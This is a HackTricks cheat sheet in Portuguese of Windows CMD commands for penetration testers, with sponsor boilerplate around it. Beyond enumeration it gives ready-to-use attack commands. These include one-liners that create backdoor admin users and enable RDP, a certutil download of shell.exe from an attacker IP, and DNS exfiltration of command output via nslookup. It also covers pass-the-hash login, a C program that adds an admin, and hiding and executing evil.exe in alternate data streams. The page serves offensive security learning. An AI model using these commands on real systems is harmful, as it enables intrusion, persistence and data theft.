# Basic Win CMD for Pentesters {% hint style="success" %} Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) <details> <summary>Support HackTricks</summary> * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. </details> {% endhint %} <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> **Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem** **Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Informações do sistema ### Versão e informações de patches ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic computersystem LIST full #Get PC info wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic qfe list brief #Updates hostname DRIVERQUERY #3rd party driver vulnerable? ``` ### Ambiente ```bash set #List all environment variables ``` Algumas variáveis de ambiente para destacar: * **COMPUTERNAME**: Nome do computador * **TEMP/TMP:** Pasta temporária * **USERNAME:** Seu nome de usuário * **HOMEPATH/USERPROFILE:** Diretório inicial * **windir:** C:\Windows * **OS**: Windows OS * **LOGONSERVER**: Nome do controlador de domínio * **USERDNSDOMAIN**: Nome do domínio a ser usado com DNS * **USERDOMAIN**: Nome do domínio ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC ``` ### Discos montados ```bash (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` ### [Defender](authentication-credentials-uac-and-efs/#defender) ### Lixeira ```bash dir C:\$Recycle.Bin /s /b ``` ### Processos, Serviços e Software ```bash schtasks /query /fo LIST /v #Verbose out of scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM tasklist /V #List processes tasklist /SVC #links processes to started services net start #Windows Services started wmic service list brief #List services sc query #List of services dir /a "C:\Program Files" #Installed software dir /a "C:\Program Files (x86)" #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software ``` ## Informações do domínio ```bash # Generic AD info echo %USERDOMAIN% #Get domain name echo %USERDNSDOMAIN% #Get domain name echo %logonserver% #Get name of the domain controller set logonserver #Get name of the domain controller set log #Get name of the domain controller gpresult /V # Get current policy applied wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers # Users dsquery user #Get all users net user /domain #List all users of the domain net user <ACCOUNT_NAME> /domain #Get information about that user net accounts /domain #Password and lockout policy wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts. # Groups net group /domain #List of domain groups net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here) net group "Domain Admins" /domain #List users with domain admin privileges net group "domain computers" /domain #List of PCs connected to the domain net group "Domain Controllers" /domain #List PC accounts of domains controllers wmic group list /format:list # Information about all local groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group # Computers dsquery computer #Get all computers net view /domain #Lis of PCs of the domain nltest /dclist:<DOMAIN> #List domain controllers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers # Trust relations nltest /domain_trusts #Mapping of the trust relationships # Get all objects inside an OU dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` ### Logs & Events ```bash #Make a security query using another credentials wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 ``` ## Usuários e Grupos ### Usuários ```bash #Me whoami /all #All info about me, take a look at the enabled tokens whoami /priv #Show only privileges # Local users net users #All users dir /b /ad "C:\Users" net user %username% #Info about a user (me) net accounts #Information about password requirements wmic USERACCOUNT Get Domain,Name,Sid net user /add [username] [password] #Create user # Other users looged qwinsta #Anyone else logged in? #Lauch new cmd.exe with new creds (to impersonate in network) runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted #Check current logon session as administrator using logonsessions from sysinternals logonsessions.exe logonsessions64.exe ``` ### Grupos ```bash #Local net localgroup #All available groups net localgroup Administrators #Info about a group (admins) net localgroup administrators [username] /add #Add user to administrators #Domain net group /domain #Info about domain groups net group /domain <domain_group_name> #Users that belongs to the group ``` ### Listar sessões ``` qwinsta klist sessions ``` ### Política de Senhas ``` net accounts ``` ### Credenciais ```bash cmdkey /list #List credential vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access ``` ### Persistência com usuários ```bash # Add domain user and put them in Domain Admins group net user username password /ADD /DOMAIN net group "Domain Admins" username /ADD /DOMAIN # Add local user and put them local Administrators group net user username password /ADD net localgroup Administrators username /ADD # Add user to insteresting groups: net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Debugger users" UserLoginName /add net localgroup "Power users" UserLoginName /add ``` ## Rede ### Interfaces, Rotas, Portas, Hosts e DNSCache ```bash ipconfig /all #Info about interfaces route print #Print available routes arp -a #Know hosts netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` ### Firewall ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all netsh firewall show config # FW info Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off #Turn Off NetSh Advfirewall set allprofiles state on #Trun On netsh firewall set opmode disable #Turn Off #How to open ports netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138 netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139 netsh firewall add portopening TCP 3389 "Remote Desktop" #Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop" ::netsh firewall set service remotedesktop enable #I found that this line is not needed ::sc config TermService start= auto #I found that this line is not needed ::net start Termservice #I found that this line is not needed #Enable Remote Desktop with wmic wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1" ##or wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" #Enable Remote assistance: reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f netsh firewall set service remoteadmin enable #Ninja combo (New Admin User, RDP + Rassistance + Firewall allow) net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable ::Connect to RDP (using hash or password) xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49 xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49 ``` ### Compartilhamentos ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` ### Wifi ```bash netsh wlan show profile #AP SSID netsh wlan show profile <SSID> key=clear #Get Cleartext Pass ``` ### SNMP ``` reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s ``` ### Interfaces de Rede ```bash ipconfig /all ``` ### Tabela ARP ```bash arp -A ``` ## Download Bitsadmin.exe ``` bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 ``` CertReq.exe ``` CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt ``` Certutil.exe ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` **Encontre muito mais procurando por `Download` em** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) ## Diversos ```bash cd #Get current dir cd C:\path\to\dir #Change dir dir #List current dir dir /a:h C:\path\to\dir #List hidden files dir /s /b #Recursive list without shit time #Get current time date #Get current date shutdown /r /t 0 #Shutdown now type <file> #Cat file #Runas runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted #Hide attrib +h file #Set Hidden attrib -h file #Quit Hidden #Give full control over a file that you owns icacls <FILE_PATH> /t /e /p <USERNAME>:F icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision #Recursive copy to smb xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win #exe2bat to transform exe file in bat file #ADS dir /r #Detect ADS more file.txt:ads.txt #read ADS powershell (Get-Content file.txt -Stream ads.txt) # Get error messages from code net helpmsg 32 #32 is the code in that case ``` ### Bypass Char Blacklisting ```bash echo %HOMEPATH:~6,-11% #\ who^ami #whoami ``` ### DOSfuscation Gera uma linha CMD ofuscada ```powershell git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation help SET COMMAND type C:\Users\Administrator\Desktop\flag.txt encoding ``` ### Listen address ACLs Você pode escutar em [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) sem ser administrador. ```bash netsh http show urlacl ``` ### Manual DNS shell **Atacante** (Kali) deve usar uma dessas 2 opções: ```bash sudo responder -I <iface> #Active sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive ``` #### Vítima **`for /f tokens`** técnica: Isso nos permite executar comandos, obter as primeiras X palavras de cada linha e enviá-las através do DNS para nosso servidor. ```bash for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2 for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one #More complex commands for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one ``` Você também pode **redirecionar** a saída e, em seguida, **ler**. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> ``` ## Chamando CMD a partir do código C ```c #include <stdlib.h> /* system, NULL, EXIT_FAILURE */ // When executed by Administrator this program will create a user and then add him to the administrators group // i686-w64-mingw32-gcc addmin.c -o addmin.exe // upx -9 addmin.exe int main (){ int i; i=system("net users otherAcc 0TherAcc! /add"); i=system("net localgroup administrators otherAcc /add"); return 0; } ``` ## CheatSheet de Fluxos de Dados Alternativos (ADS/Alternate Data Stream) **Exemplos retirados de** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Há muitos mais lá!** ```bash ## Selected Examples of ADS Operations ## ### Adding Content to ADS ### # Append executable to a log file as an ADS type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" # Download a script directly into an ADS certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt ### Discovering ADS Content ### # List files and their ADS dir /R # Use Sysinternals tool to list ADS of a file streams.exe <c:\path\to\file> ### Extracting Content from ADS ### # Extract an executable stored in an ADS expand c:\ads\file.txt:test.exe c:\temp\evil.exe ### Executing ADS Content ### # Execute an executable stored in an ADS using WMIC wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"' # Execute a script stored in an ADS using PowerShell powershell -ep bypass - < c:\temp:ttt ``` <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> **Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem** **Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) <details> <summary>Suporte ao HackTricks</summary> * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). </details> {% endhint %}